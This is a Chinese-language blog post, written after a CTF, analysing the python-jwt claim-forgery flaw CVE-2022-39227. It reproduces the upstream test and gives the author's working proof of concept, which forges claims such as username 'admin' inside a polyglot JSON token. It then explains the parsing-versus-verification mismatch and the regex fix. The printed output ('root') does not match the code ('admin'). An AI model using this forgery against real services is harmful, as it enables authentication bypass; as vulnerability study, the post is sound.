前两天打祥云杯初赛的时候有一道很有意思的web题,FunWEB,其中涉及到了jwt伪造相关知识,多方查询找到了一个pyjwt包的CVE,编号为CVE-2022-39227,不过并没有详细的POC,但是有关于源码的修改内容,我们直接跟入github中的相关commit
先跳过对漏洞的修补部分,直接看最下面,在test中新增加了一个对这个CVE的测试内容,我们来看一下
#test/vulnerability_vows.py
""" Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' +signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
其实别的我们可以直接忽略,直接看PolyglotToken
部分,里面就是fakeJWT的构造代码,可以看到其中先将原始的JWT拆分为[header, payload, signature]
三部分,然后将payload也就是原始存储信息的部分取了出来,然后添加伪造内容后重新进行base64编码(separators=(',', ':')
这部分相当于移除了直接编码时会添加的空格)生成了fakepayload,并且最终按如下形式构造生成新的JWT(其实此时已经不能说是JWT了,因为生成的字符串已经完全没有JWT的影子在了)
{“ header.fake_payload.”:””,”protected”:”header“, “payload”:”payload“,”signature”:”signature“}
其实相比较这个我更好奇的是为什么会有这样的漏洞,我们先用含有漏洞的包尝试生成一个JWT并使用fakepayload解析
#testFakeJWT.py
from json import *
from python_jwt import *
from jwcrypto import jwk
payload={'username':"jlan","secret":"10010"}
key=jwk.JWK.generate(kty='RSA', size=2048)
jwtjson=generate_jwt(payload, key, 'PS256', timedelta(minutes=60))
[header, payload, signature] = jwtjson.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload['username']="admin"
parsed_payload['secret']="10086"
fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(verify_jwt(fakejwt, key, ['PS256']))
#{'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10010', 'username': 'jlan'}
#({'alg': 'PS256', 'typ': 'JWT'}, {'exp': 1667333054, 'iat': 1667329454, 'jti': 'U0kwnEYCOgUZ_PhXn7PFTQ', 'nbf': 1667329454, 'secret': '10086', 'username': 'root'})
#进程已结束,退出代码0
#可以看到我们的结果确实被解析了
可以看到我们的结果确实被解析了,那么我们使用fakeJWT跟入看看verify过程到底做了什么
可以看到首先把JWT按照.来分割,并分别存入header, claims, _
变量中,然后对header部分进行base64解码,此处解码会忽略掉非base64字符,并且对属性进行逐个验证(在ignore_not_implemented
参数为空或False的前提下)
再向下看到if pub_key:
部分,如果我们传入了密钥就会对JWT签名进行解析,我们直接跟入token.deserialize(jwt, pub_key)
来看验证过程
可以看到首先对原始传入的JWT尝试进行json解析,然后再对其进行签名验证,其中_deserialize_signature
将签名解析后取出,_deserialize_b64
验证内容需不需要再进行base64解码
总之在这个函数前面部分的内容就是将json格式的数据进行解码,并将JWT所需要的对应属性赋给o这个对象,在我们构造的json中,o的所有属性都是来自原始正常JWT的,在完成解析后,self.objects
将会被赋值为o,最后进入verify
函数
可以看到在验证时所使用的所有数据都来自于原始的正常JWT,所以验证必定通过,那么下一步我们就来看解析的部分
其实没什么可说的,因为解析只有一句代码
#header, claims, _ = jwt.split('.')
parsed_claims = json_decode(base64url_decode(claims))
上文可见我们传入的json先以字符串的格式按点分割,第二部分为我们的fakepayload部分,我们只需要把原始payload取出进行修改即可
明显我们能看出这个漏洞的产生是因为解析payload内容和验证签名的payload内容不一致造成的,而在后续的修复部分中,也针对JWT的内容进行了正则匹配,来防止json格式的注入
_jwt_re = re.compile(r'^[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]*$')
def _check_jwt_format(jwt):
if not _jwt_re.match(jwt):
raise _JWTError('invalid JWT format')
引用内容:https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!